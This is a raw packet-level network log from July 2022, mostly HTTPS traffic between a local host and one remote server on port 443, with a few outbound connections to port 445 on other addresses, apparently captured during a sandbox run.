Jul 20, 2022 06:06:51.141427040 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141485929 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.141493082 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141560078 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.141568899 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141614914 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.141625881 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141643047 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141681910 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.141693115 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141742945 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.141752958 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141773939 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141798019 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.141807079 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141823053 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.141896009 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.141906023 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141928911 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141962051 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.141969919 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142019987 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142030001 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142081022 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142091990 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142142057 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142152071 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142184973 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142193079 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142232895 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142256021 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142265081 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142285109 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142339945 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142375946 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142406940 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142445087 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142461061 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142469883 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142487049 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142501116 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142518044 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142537117 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142548084 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142600060 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142601967 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142642021 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142653942 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142668962 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142697096 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142699003 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142710924 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142735958 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142765999 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142776966 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142807007 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142810106 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142838001 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142844915 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142854929 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142885923 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142915010 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142931938 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142945051 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142976046 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.142993927 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.142999887 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143009901 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143033028 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143055916 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143069029 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143095970 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143104076 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143110991 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143135071 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143138885 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143150091 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143218040 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143230915 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143245935 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143284082 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143304110 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143306971 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143316984 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143340111 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143368959 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143381119 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143404007 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143413067 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143418074 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143450022 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143450975 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143462896 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143492937 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143534899 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143538952 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143548965 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143604994 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143630981 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143656969 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143676043 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143717051 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143748999 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143769026 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143807888 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143820047 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143827915 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143863916 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143871069 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143894911 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143908024 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143918037 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143924952 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143954039 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.143959045 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.143970013 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144006968 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144027948 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144047976 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144053936 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144068003 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144092083 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144134998 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144135952 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144139051 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144153118 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144220114 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144227028 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144237995 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144262075 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144288063 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144301891 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144323111 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144330025 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144345999 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144356966 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144373894 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144397974 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144443989 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144452095 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144467115 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144495964 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144506931 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144540071 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144573927 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144576073 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144587994 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144612074 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144634962 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144646883 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144680023 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144680977 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144709110 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144710064 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144725084 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144758940 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144794941 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144799948 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144810915 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144855022 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144881964 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144912004 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144947052 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.144959927 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144977093 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.144979000 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145006895 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145009041 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145019054 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145066023 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145092010 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145106077 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145116091 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145150900 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145174026 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145186901 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145195961 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145212889 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145231009 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145277977 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145277977 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145299911 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145325899 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145359039 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145392895 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145397902 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145415068 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145463943 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145488024 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145513058 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145550966 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145564079 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145585060 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145586014 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145615101 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145617962 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145628929 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145664930 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145704031 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145709038 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145720959 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145764112 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145781040 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145809889 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145844936 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145857096 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145874977 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145884991 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145904064 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145915031 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145925045 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145951986 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.145976067 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.145998001 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.146009922 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.146049023 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.146056890 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.146074057 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.146111012 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.187293053 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.187323093 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.187356949 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.187529087 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.187544107 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.187560081 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.187582016 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.187652111 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.187661886 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.187712908 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.187757969 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.187773943 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.187827110 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.187843084 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.187911987 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.187923908 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.187937975 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.187994957 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.188005924 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.188074112 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.188081026 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.188154936 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.188807011 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.189021111 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.190098047 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.190124035 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.314778090 CEST	50689	445	192.168.2.6	178.159.42.8
Jul 20, 2022 06:06:51.314903021 CEST	50690	445	192.168.2.6	37.21.160.9
Jul 20, 2022 06:06:51.315356016 CEST	50691	445	192.168.2.6	169.76.225.223
Jul 20, 2022 06:06:51.318361998 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.318388939 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318407059 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318479061 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.318490982 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318504095 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318538904 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.318550110 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318572998 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.318579912 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318630934 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.318639040 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318650007 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318687916 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.318695068 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318737984 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.318746090 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318758011 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318789005 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.318797112 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318847895 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.318855047 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318865061 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318887949 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.318912983 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318943024 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.318955898 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318970919 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.318979025 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.319057941 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.319063902 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.319082022 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.319102049 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.319133997 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.319149971 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.319191933 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.319205999 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.319221973 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.319232941 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.319245100 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.319303036 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.319353104 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.320466995 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.320488930 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.320606947 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.321103096 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.321146011 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321186066 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321259022 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321302891 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.321337938 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321382046 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.321424007 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321491003 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321512938 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321525097 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.321540117 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321557999 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.321568012 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321594000 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.321602106 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321609974 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.321640968 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.321660995 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321710110 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.321722984 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321747065 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321757078 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.321778059 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321784973 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.321840048 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.321851969 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321911097 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.321922064 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321943045 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.321954966 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.321965933 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.322043896 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.322108030 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.322356939 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.322366953 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.322385073 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.322402000 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.322494984 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.322505951 CEST	443	50631	80.67.82.211	192.168.2.6
